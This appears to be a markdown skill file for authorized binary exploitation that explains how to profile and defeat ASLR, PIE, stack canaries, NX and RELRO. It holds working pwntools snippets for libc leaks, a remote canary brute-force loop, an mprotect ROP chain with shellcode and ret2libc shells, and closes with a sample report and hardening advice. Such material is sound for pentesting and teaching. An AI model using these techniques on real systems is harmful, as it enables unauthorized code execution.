--- name: bypassing-binary-exploitation-mitigations description: Methodology for identifying and defeating common binary hardening mitigations during authorized exploitation — ASLR, PIE, stack canaries, NX/DEP, and RELRO — by leaking addresses, brute-forcing entropy, abusing forked-process behavior, and selecting the right code-reuse primitive for the protections in place. domain: cybersecurity subdomain: binary-exploitation tags: - binary-exploitation - mitigation-bypass - exploit-development version: '1.0' author: xalgorix license: Apache-2.0 --- # Bypassing Binary Exploitation Mitigations ## When to Use - At the start of any authorized binary exploitation engagement, to profile which protections (ASLR, PIE, canary, NX/DEP, RELRO) are active and plan the exploit path accordingly. - When a working memory-corruption primitive is blocked by a mitigation: a canary aborts the process, NX prevents shellcode, PIE/ASLR randomizes gadget addresses, or Full RELRO makes the GOT read-only. - When deciding what to leak (libc pointer, PIE base, canary) and how (format string, ret2plt, arbitrary read, brute force in a forked server). ## Critical: Concepts/Steps Most Often Missed - **Each mitigation is bypassed independently — enumerate them all first.** `checksec` output drives everything. A binary can be PIE + canary + Full RELRO + NX, and you must defeat each separately (leak base, leak/forge canary, avoid GOT writes, use ROP). - **Canary low byte is a NUL.** On x64 the 8-byte canary's least significant byte is `0x00`; on x86 the 4-byte canary's LSB is `0x00`. String functions stop on it, so a printed canary leak shows only 7 (or 3) random bytes — account for the NUL when re-inserting it. - **Forked servers share the canary and PIE slide.** `fork()` without `execve()` means children inherit the parent's canary, so you can brute-force the canary (and PIE/stack addresses) one byte at a time using a crash-vs-success oracle. `execve()` after fork() defeats this. - **Full RELRO does not protect everything.** The main binary's GOT is read-only, but loaded shared libraries (libc) are only Partial RELRO. Modern targets removed `__malloc_hook`/`__free_hook` (glibc 2.34+), so pivot to other writable pointers, libc GOT, vtables, or SROP/ROP-into-libc. - **PIE base ends in 000.** A leaked code pointer's low 12 bits are the page offset; the base is `leak & ~0xfff`. If your computed base does not end in `000`, your leak or offset is wrong. - **vsyscall/vDSO and fixed kernel maps escape ASLR.** `0xffffffffff600000` vsyscall has fixed addresses; on some arm64 Android kernels the linear map base is fixed, defeating KASLR with no leak. ### How to CONFIRM Run `checksec --file ./vuln` (and `readelf -l/-d`) and record each protection. Confirm a leak is valid before building on it: a leaked PIE/libc base must be page-aligned (`& 0xfff == 0`); a leaked canary's LSB must be `0x00`. Confirm a canary bypass by sending the leaked canary back in the overflow and observing the process *return normally* (no `*** stack smashing detected ***`). Confirm NX status with `readelf -W -l ./vuln | grep GNU_STACK` (an `E` flag = exec stack). ## Workflow ### Step 1: Enumerate Protections ```bash pwn checksec --file ./vuln # RELRO, Stack Canary, NX, PIE — note each one readelf -W -l ./vuln | grep GNU_STACK # NX: RW (no E) = non-exec stack readelf -d ./vuln | grep BIND_NOW # present => Full RELRO cat /proc/sys/kernel/randomize_va_space # 0=off, 1=conservative, 2=full ASLR ``` ### Step 2: Defeat ASLR / PIE (Leak an Address) ```python from pwn import * elf = context.binary = ELF('./vuln') # Option A: format-string arbitrary read of a GOT entry to leak libc payload = p64(elf.got['puts']) + b'%7$s' # adjust offset # Option B: ret2plt — call puts(puts@got) to leak puts's runtime address rop = ROP(elf) rop.puts(elf.got['puts']); rop.call(elf.symbols['main']) # leak then re-loop # After leak: leak = u64(io.recvline().strip().ljust(8, b'\x00')) libc = elf.libc; libc.address = leak - libc.symbols['puts'] assert libc.address & 0xfff == 0, "bad leak / wrong offset" # For PIE: elf.address = code_leak - known_offset ``` For 32-bit local targets with low entropy, brute force is viable: loop libc base across `0xb7000000..0xb8000000` step `0x1000`, or use a NOP sled in env vars. Remote: brute-force `usleep(10)` address by watching for a 10s delay. ### Step 3: Defeat the Stack Canary ```python # Forked-server byte-by-byte brute force (children share the canary) canary = b'\x00' # known NUL LSB for pos in range(7): # remaining 7 bytes on x64 for guess in range(256): io = remote(HOST, PORT) io.send(b'A'*buf_len + canary + bytes([guess])) if b'smashing' not in io.recvall(timeout=1): # survived => correct canary += bytes([guess]); io.close(); break io.close() # Or: leak the canary via format string / arbitrary read, then replay it. payload = b'A'*offset + canary + b'B'*8 + rop_chain ``` Alternative bypasses: overwrite stack-stored pointers before the canary (pointer redirecting); in threaded apps overwrite the master canary in TLS; with Partial RELRO + arbitrary write, neuter `__stack_chk_fail`'s GOT entry. ### Step 4: Defeat NX and RELRO (Pick the Code-Reuse Primitive) ```python # NX on: no shellcode -> code reuse. Make a page RWX with mprotect then jump in. rop = ROP(elf) rop.mprotect(elf.bss() & ~0xfff, 0x1000, 7) # PROT_RWX payload = flat({offset: rop.chain(), offset+len(rop.chain()): asm(shellcraft.sh())}) ``` - **Partial RELRO**: overwrite a `.got.plt` entry or use ret2dlresolve; overwrite `.fini_array`/atexit pointers. - **Full RELRO**: GOT is read-only — target libc's (Partial-RELRO) GOT, C++ vtables, or do pure ROP/SROP into libc. - **SROP** (scarce gadgets): forge a sigframe, call `sys_rt_sigreturn` to load all registers, e.g. `mprotect` then run stack shellcode. - **CET/IBT hardened**: switch from ROP to JOP/COP (gadgets ending in `jmp`/`call [reg]`). ## Key Concepts | Concept | Description | |---------|-------------| | **ASLR** | Randomizes stack/heap/libs/mmap; `randomize_va_space` 0/1/2. 32-bit has low entropy (brute-forceable). | | **PIE** | Randomizes the binary's own base; bypass by leaking one code address (base = leak & ~0xfff). | | **Stack canary** | Random value before saved RIP/EBP; LSB is NUL. Bypass by leak, replay, or forked brute force. | | **NX / DEP** | Marks stack/heap non-executable; bypass with ROP/ret2libc/ret2syscall or mprotect-to-RWX. | | **Partial RELRO** | `.got.plt` writable -> GOT overwrite / ret2dlresolve still possible. | | **Full RELRO** | Entire GOT read-only (BIND_NOW); pivot to libc GOT, vtables, hooks, or ROP-into-libc. | | **vsyscall/vDSO** | Fixed (non-ASLR) addresses usable as a stable `ret`/syscall source. | | **Master canary forging** | In threaded apps, overwrite the TLS-stored master canary so the equal-vs-equal check passes. | ## Tools & Systems | Tool | Purpose | |------|---------| | **checksec** | Enumerate RELRO/canary/NX/PIE in one command. | | **readelf / objdump** | Confirm `GNU_STACK` perms, `BIND_NOW`, GOT/PLT and `.fini_array` layout. | | **pwntools** | `ELF`, `ROP`, `libc.address`, `fmtstr_payload`, brute-force loops, `shellcraft`, process/remote. | | **gdb + pwndbg/GEF** | `vmmap` for page perms and vsyscall, verify leaks/canary, inspect TLS (`fs:0x28`). | | **ROPgadget / ropper** | Find gadgets for ret2libc/ret2syscall/SROP/JOP once a base is known. | | **one_gadget** | Single-shot shell gadget after a libc leak (avoids GOT writes under Full RELRO). | ## Common Scenarios ### Scenario 1: PIE + NX + Partial RELRO Leak a code pointer via format string, rebase the binary, then ROP using the binary's own gadgets; overwrite a `.got.plt` entry or ret2dlresolve to reach `system`. ### Scenario 2: Canary + forked network service Service forks per connection. Brute-force the 8-byte canary byte-by-byte (≤256 tries/byte) using crash vs. clean response, then overflow past the replayed canary into a ROP chain. ### Scenario 3: Full RELRO + NX + ASLR GOT is read-only and stack is non-exec. Leak libc via ret2plt `puts`, then ROP-into-libc `system("/bin/sh")` or a one_gadget — no GOT write needed. ### Scenario 4: Low-entropy 32-bit + ASLR Brute-force libc base locally, or stuff a large NOP sled into environment variables and jump to a guessed stack address repeatedly until execution lands in the sled. ## Output Format ``` ## Mitigation Assessment & Bypass Finding **Target**: ./vuln (amd64) **Protections**: PIE: yes | Canary: yes | NX: enabled | RELRO: Full | ASLR: 2 (full) ### Bypass Chain 1. ASLR/PIE: leaked libc via ret2plt puts@got -> base 0x7f...000 (page-aligned, confirmed) 2. Canary: leaked via format string %15$p -> 0x..00 (NUL LSB confirmed), replayed in overflow 3. NX/Full RELRO: pure ROP-into-libc system("/bin/sh") (no GOT write required) ### Proof Process returned cleanly past canary; system("/bin/sh") yielded an interactive shell. ### Impact All deployed mitigations bypassed -> reliable remote code execution. ### Recommendation 1. Keep Full RELRO, PIE, canaries, and NX enabled (they raise cost but are not individually sufficient). 2. Re-randomize the canary on fork (avoid fork-without-execve patterns in network daemons). 3. Adopt CET/shadow-stack (x86) or PAC/BTI (ARM) to break ROP/JOP. 4. Eliminate the root memory-corruption bug and the info-leak primitives that enable base/canary recovery. ```